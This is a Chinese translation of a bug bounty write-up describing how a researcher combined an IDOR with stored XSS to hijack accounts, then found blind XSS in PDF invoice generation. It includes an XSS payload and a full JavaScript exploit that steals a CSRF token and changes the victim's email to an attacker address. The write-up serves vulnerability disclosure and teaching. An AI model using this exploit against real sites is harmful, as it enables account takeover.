专栏首页FreeBuf记我的一次账号劫持和BLIND XSS漏洞发现过程

记我的一次账号劫持和BLIND XSS漏洞发现过程

大家好,本文我要分享的是我参与Hackerone某邀请项目,通过目标测试网站的高级功能模块(PRO features)实现了更多攻击面测试,并发现了两个严重漏洞,获得了$7000美金的不菲奖励。

第一个漏洞-账号劫持

我发现的第一个漏洞就是不安全对象引用漏洞(IDOR),利用该漏洞我能在每个账户中创建一个 element x元素,经过和朋友的交流,他建议我可以试试在其中注入一些 javascript 脚本,于是我就在某文本区域的 element x 中插入了以下Payload脚本,实现了用XSS方式对账户cookie的读取。

‘%22%3E%3Cimg+src%3Dx+onerror%3Dalert(document.cookie)%3E

IDOR:不安全的直接对象引用允许攻击者绕过网站的身份验证机制,并通过修改指向对象链接中的参数值来直接访问目标对象资源,这类资源可以是属于其他用户的数据库条目以及服务器系统中的隐私文件等等。导致这种情况出现的原因是,系统在接受用户输入并利用输入信息获取对象之前没有对用户身份权限进行检测。

现在,有了这种IDOR漏洞下的存储型XSS利用路径,而且目标测试网站又没有设置CSP的白名单机制,因此我可以构造一段小脚本,让这段脚本来窃取受害用户的CSRF令牌认证信息(CSRF token),这样可以修改其emailID或以管理员身份把对方添加为好友,间接实现对受害者的账户劫持。

与IDOR漏洞利用相同, javascript 脚本可以在所有账户中实现远程存储,然后通过构造运行,实现对所有目标网站注册账户的劫持,这就是XSS和IDOR漏洞的结合威力。我最终的 javascript Payload利用脚本如下:

function stealEmailToken()
{
var fetchHash = new XMLHttpRequest();
var url = "https://--domain--/--path--/personal/update_email.html";
var datax;
var all_elements;
var vc_email_token='initial';
fetchHash.onreadystatechange=function ()
{
if(fetchHash.readyState==4 && fetchHash.status==200)
{
datax = fetchHash.responseText;
var loot = document.createElement('html');
loot.innerHTML = datax;
all_elements = loot.getElementsByTagName( 'input' );
vc_email_token = all_elements[2].value;
alert('Stole your Email change Token: '+vc_email_token+' ...Tabahi');
//hack(vc_email_token);
}
}
fetchHash.open("GET",url, true);
fetchHash.withCredentials=true;
fetchHash.send();
}
stealEmailToken();
function hack(emailToken)
{
var HackAccount = new XMLHttpRequest();
url= "https://--domain--/--path--/personal/update_email.html";
HackAccount .open("POST",url, true);
HackAccount .withCredentials=true;
var
 data= 
'AccountEmailForm%5BsEmail%5D%5Bfirst%5D=attacker%40attacker.com&AccountEmailForm%5BsEmail%5D%5Bsecond%5D=attacker%40attacker.com&AccountEmailForm%5B_token%5D='+emailToken
 ;
HackAccount .setRequestHeader('X-Requested-With','XMLHttpRequest');
HackAccount .setRequestHeader('Content-Type','application/x-www-form-urlencoded');
HackAccount .send(data);
}

这个脚本中,我能从…personal/update_email.html的账户页面中读取 input 元素的 csrf token ,然后利用 hack() 函数来把这个窃取来的 csrf token发送一个更改用户email ID的POST请求,最终实现账户劫持。上报这个漏洞之后,厂商团队马上就进行了修复,之后,我也获得了奖励的$3500赏金。

第二个漏洞 - BLIND XSS

由于目标测试网站开通有付费版的专业高级功能模块,所以我决定付钱来购买进行测试。这个购买付费方式有两种,也即信用卡和银行转账。在银行转账方式中,会生成一个电子发票并能按照用户在记账时输入的姓名邮箱地址等信息,以电邮方式发送到用户邮箱中。

因此,在pdf电子发票的生成过程中,我可以尝试着在其中注入一些html元素来看看是否能间接执行脚本,但是,这种方式是行不通的。

之后,我就在其中插入了一个利用 XSSHunter 生成的 BLIND XSS Payload,一切就静等上钩吧。几天之后,我无意间浏览了我的XSSHunter账户,出乎意料地发现,那段插入的BLIND XSS Payload竟然在目标测试网站的控制面板管理区域被成功触发了!

XSS Payload成功执行的同时,也一起生成了pdf的电子发票,也就是在这种电子发票自动生成过程中,系统未对输入作安全过滤,导致可以执行XSS Payload。通过这种测试方式,我能查看到将近1000多名顾客的电子发票记录和信息。以下显示的是姓名和地址字段的XSS触发信息:

上报了这个漏洞之后,我又获得了厂商团队 $3500 美金的奖励。

*参考来源:witcoat,FreeBuf 小编 clouds 编译,转载请注明来自 FreeBuf.COM

本文分享自微信公众号 - FreeBuf(freebuf)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2018-06-10

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 发现Outlook安卓版本APP跨站漏洞CVE-2019-1105

    Outlook可能算是目前比较流行的邮箱APP之一了,近期,CyberArk公司研究团队就发现了Outlook安卓版本APP的一个跨站漏洞(XSS)- CVE-...

    FB客服
  • 微软发布针对SMBv3漏洞的安全更新,建议用户尽快安装

    微软发布了KB4551762安全更新,修复了在微软服务器消息块3.1.1(SMBv3)中发现的Windows 10 RCE漏洞。在2020年3月补丁星期二活动日...

    FB客服
  • 2016年度Web漏洞统计之Exploit-db

    2016年我们耳边经常想起“大数据”、“物联网”、“云”、“工控系统”等关键词,很多个厂家、行业都在热火朝天的做着“大数据”,随着2016年的过去,新的一年到来...

    FB客服
  • 安卓APP安全漏洞测试 如何对APP安全进行全方位的漏洞检测

    客户网站以及APP在正式上线之前,都会找专业的安全公司进行测试,检测网站、APP是否存在漏洞,以及一些安全隐患,大多数的运营者觉得安装一些安全防护软件就足以防止...

    网站安全专家
  • 2016年度Web漏洞统计之Exploit-db

    2016年我们耳边经常想起“大数据”、“物联网”、“云”、“工控系统”等关键词,很多个厂家、行业都在热火朝天的做着“大数据”,随着2016年的过去,新的一年到来...

    FB客服
  • VTest - 漏洞测试辅助系统

    VTest - 漏洞测试辅助系统用于辅助安全工程师漏洞挖掘、测试、复现,集合了mock、httplog、dns tools、xss,可用于测试各类无回显、无法直...

    周俊辉
  • 一个黑客的自白书

    我将坦白当我准备入侵一个目标时,我是如何收集信息并入侵的。最重要的是,我会给你们一些有用的忠告。

    ThoughtWorks
  • 专属| 940万名客户信息遭泄露

    据报道,日前大型国际航空公司国泰航空披露,在今年3月发生的一次数据泄露事件中,该公司的940万名乘客的记录被盗,含有姓名、出生日期、住址等个人信息的护照信息也可...

    漏斗社区
  • 微软谷歌发现新漏洞“变种4” 许多现代芯片将受影响

    据路透社北京时间5月22日报道,微软和谷歌网络安全研究员发现了新的芯片漏洞,该漏洞与今年1月出现的Spectre和Meltdown漏洞有关,将对许多现代计算芯片...

    安恒信息
  • 有关网络安全漏洞披露管理的现状分析与建议

    工业和信息化部6月18日发布了《网络安全漏洞管理规定(征求意见稿)》(以下简称“意见稿”),征求意见稿条文不多,共12条,旨在通过系统地规范网络产品、服务和系统...

    FB客服

扫码关注云+社区

领取腾讯云代金券